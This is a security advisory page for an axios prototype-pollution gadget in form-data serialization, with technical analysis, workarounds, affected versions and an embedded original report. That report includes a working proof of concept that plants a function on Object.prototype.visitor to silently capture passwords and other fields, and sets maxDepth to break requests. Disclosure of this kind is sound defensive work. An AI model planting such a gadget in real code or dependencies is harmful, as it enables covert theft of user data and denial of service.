VDB
Sign up
HIGH8.3

GHSA-x97p-jq2g-jp4f

Axios: Prototype Pollution Gadget in axios toFormData Options

Quick fix

GHSA-x97p-jq2g-jp4f — axios: upgrade to the fixed version with the command below.

npm install axios@0.34.0

Details

## Summary

Axios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

## Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

## Affected Functionality

Affected:

- `axios.toFormData()`. - `transformRequest` paths that serialize plain objects to `multipart/form-data`. - URL-encoded form serialization paths that rely on the same helper. - `formSerializer` option defaults when the relevant properties are absent as own properties.

Not affected:

- JSON request bodies. - Requests that do not invoke `toFormData()`. - Processes where `Object.prototype` is not polluted.

## Technical Details

`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:

```js { metaTokens: true, dots: false, indexes: false } ```

That default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:

```js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ```

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.

## Proof of Concept of Attack

Constrained local demonstration:

```js Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } }); ```

Expected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.

For serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

## Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.

<details> <summary><h3>Original report</h3></summary>

### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._

_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._

### Details #### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_ ```js const formSerializer = own(this, 'formSerializer'); ``` _When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_ ```js return toFormData(data, _FormData && new _FormData(), formSerializer); // ^^^^^^^^^^^^ undefined ```

_**Step 2: `toFlatObject` returns a plain-object default**_ _Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_ ```js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); ``` _`toFlatObject` has an early-return for null/undefined sources:_

```js // lib/utils.js:607 if (sourceObj == null) return destObj; ``` _Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._

_**Step 3: Options are read without `hasOwnProp` guards**_ _The six option properties are read directly from the plain object:_ ```js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` _None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._

#### Why the Existing Defenses Didn't Catch This _axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._

### PoC #### Reproduction Steps #### Environment _Any environment with Node.js and npm. Tested on:_ _- Node.js v24.15.0, npm 11.13.0_ _- axios v1.18.1 (latest release at time of writing)_

##### Step 1: Create a fresh project ```bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install axios@1.18.1 ``` ##### Step 2: Create the PoC file _Create `poc.mjs` with the following content:_ ```js import axios from 'axios'; import http from 'http';

// Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); });

server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(`http://127.0.0.1:${port}/`, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } });

console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ]

// DoS: nested object rejected by polluted maxDepth await axios.post(`http://127.0.0.1:${port}/`, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); ``` ##### Step 3: Run the PoC ```bash node poc.mjs ```

### Impact #### 1. Data Exfiltration via `visitor` (Confidentiality: High) _A polluted `Object.prototype.visitor` function is called as the form data visitor:_ ```js visitor.call(formData, el, key, path, exposedHelpers) ``` _The attacker receives:_ _- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_ _- **`key`** — the field name_ _- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_ _- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_

_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._

#### 2. Denial of Service via `maxDepth` (Availability: Low) _A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._

#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low) _Polluting these options changes the serialization format of form field names:_ _- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_ _- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_ _- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_

_The server may misinterpret the submitted form data, leading to silent data corruption._ </details>

---

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/axios
Introduced in: 0.28.0Fixed in: 0.34.0
Fixnpm install axios@0.34.0
npm/axios
Introduced in: 1.15.1Fixed in: 1.20.0
Fixnpm install axios@1.20.0

References